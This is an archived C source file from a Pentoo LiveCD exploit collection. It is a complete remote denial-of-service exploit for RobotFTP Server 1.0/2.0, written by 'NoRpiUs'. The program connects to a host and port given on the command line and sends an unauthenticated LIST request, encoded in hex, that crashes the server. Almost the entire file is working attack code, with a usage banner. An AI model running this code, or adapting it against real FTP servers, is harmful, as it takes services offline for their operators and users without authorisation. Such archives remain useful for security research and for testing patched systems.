home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / roboftp / robotFtpDoSExploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  88 lines

  1. /*************************************************************************************************
  2. *                                                                                                *
  3. * Date: 18/2/2004                                                                                *
  4. * Url: www.robotftp.com                                                                          *
  5. * Versions: 1.0/2.0                                                                              *
  6. * Bug: Robotftp gets DoS'sed when an unauthorized user tries to do some command like MKD or LIST *
  7. * Author: NoRpiUs                                                                                *
  8. * Email: norpius@altervista.org                                                                  *
  9. * Web: http://norpius.altervista.org                                                             *
  10. * For Unix & Win                                                                                 *
  11. *                                                                                                *
  12. * I have done this for my birthday that is today :) - Robo-SOFT don't be angry :)                *
  13. **************************************************************************************************/
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <unistd.h>
  19. #ifdef WIN32
  20.     #include <winsock.h>
  21.     #include <windows.h>
  22.     #define close closesocket
  23. #else
  24.     #include <sys/socket.h>
  25.     #include <sys/types.h>
  26.     #include <arpa/inet.h>
  27.     #include <netdb.h>
  28. #endif
  29. #define DOSREQUEST "\x4C\x49\x53\x54\r\n"
  30.  
  31. void errore( char *err )
  32. {
  33.     printf("%s",err);
  34.     exit(1);
  35. }
  36.  
  37. void usage( char *progz )
  38. {
  39.     fputs("Robotftp FTP Server remote DoS\n"
  40.           "By NoRpiUs\n"
  41.           "Usage: <host> <port>\n", stdout);
  42.     exit(1);
  43. }
  44.  
  45. int main( int argc, char *argv[] )
  46. {
  47.     int sock;
  48.     struct hostent *he;
  49.     struct sockaddr_in target;
  50.     char recvbuff[512];
  51.  
  52. #ifdef WIN32
  53.     WSADATA wsadata;
  54.     WSAStartup(0x1, &wsadata);
  55. #endif
  56.  
  57.     if ( argc < 3 ) usage(argv[0]);
  58.  
  59.     if ( (he = gethostbyname(argv[1])) == NULL )
  60.         errore("Can't resolve host");
  61.  
  62.     target.sin_family = AF_INET;
  63.     target.sin_addr   = *(( struct in_addr *) he -> h_addr );
  64.     target.sin_port   = htons(atoi(argv[2]));
  65.  
  66.     fputs("[+] Connecting...\n", stdout);
  67.  
  68.     if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0)
  69.         errore("[-] Can't create socket\n");
  70.  
  71.     if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 )
  72.         errore("[-] Can't connect\n");    
  73.  
  74.     if ( recv( sock, recvbuff, sizeof(recvbuff), 0) < 0 )
  75.         errore("[-] Server seems to be down\n");
  76.  
  77.     fputs("[+] Sending DoS request\n", stdout);
  78.  
  79.     if ( send( sock, DOSREQUEST, strlen(DOSREQUEST), 0) < 0 )
  80.         errore("[-] Cant' send the request\n");
  81.  
  82.     fputs("[+] Done\n", stdout);
  83.  
  84.     close(sock);
  85.  
  86.     return(0);
  87.  
  88. }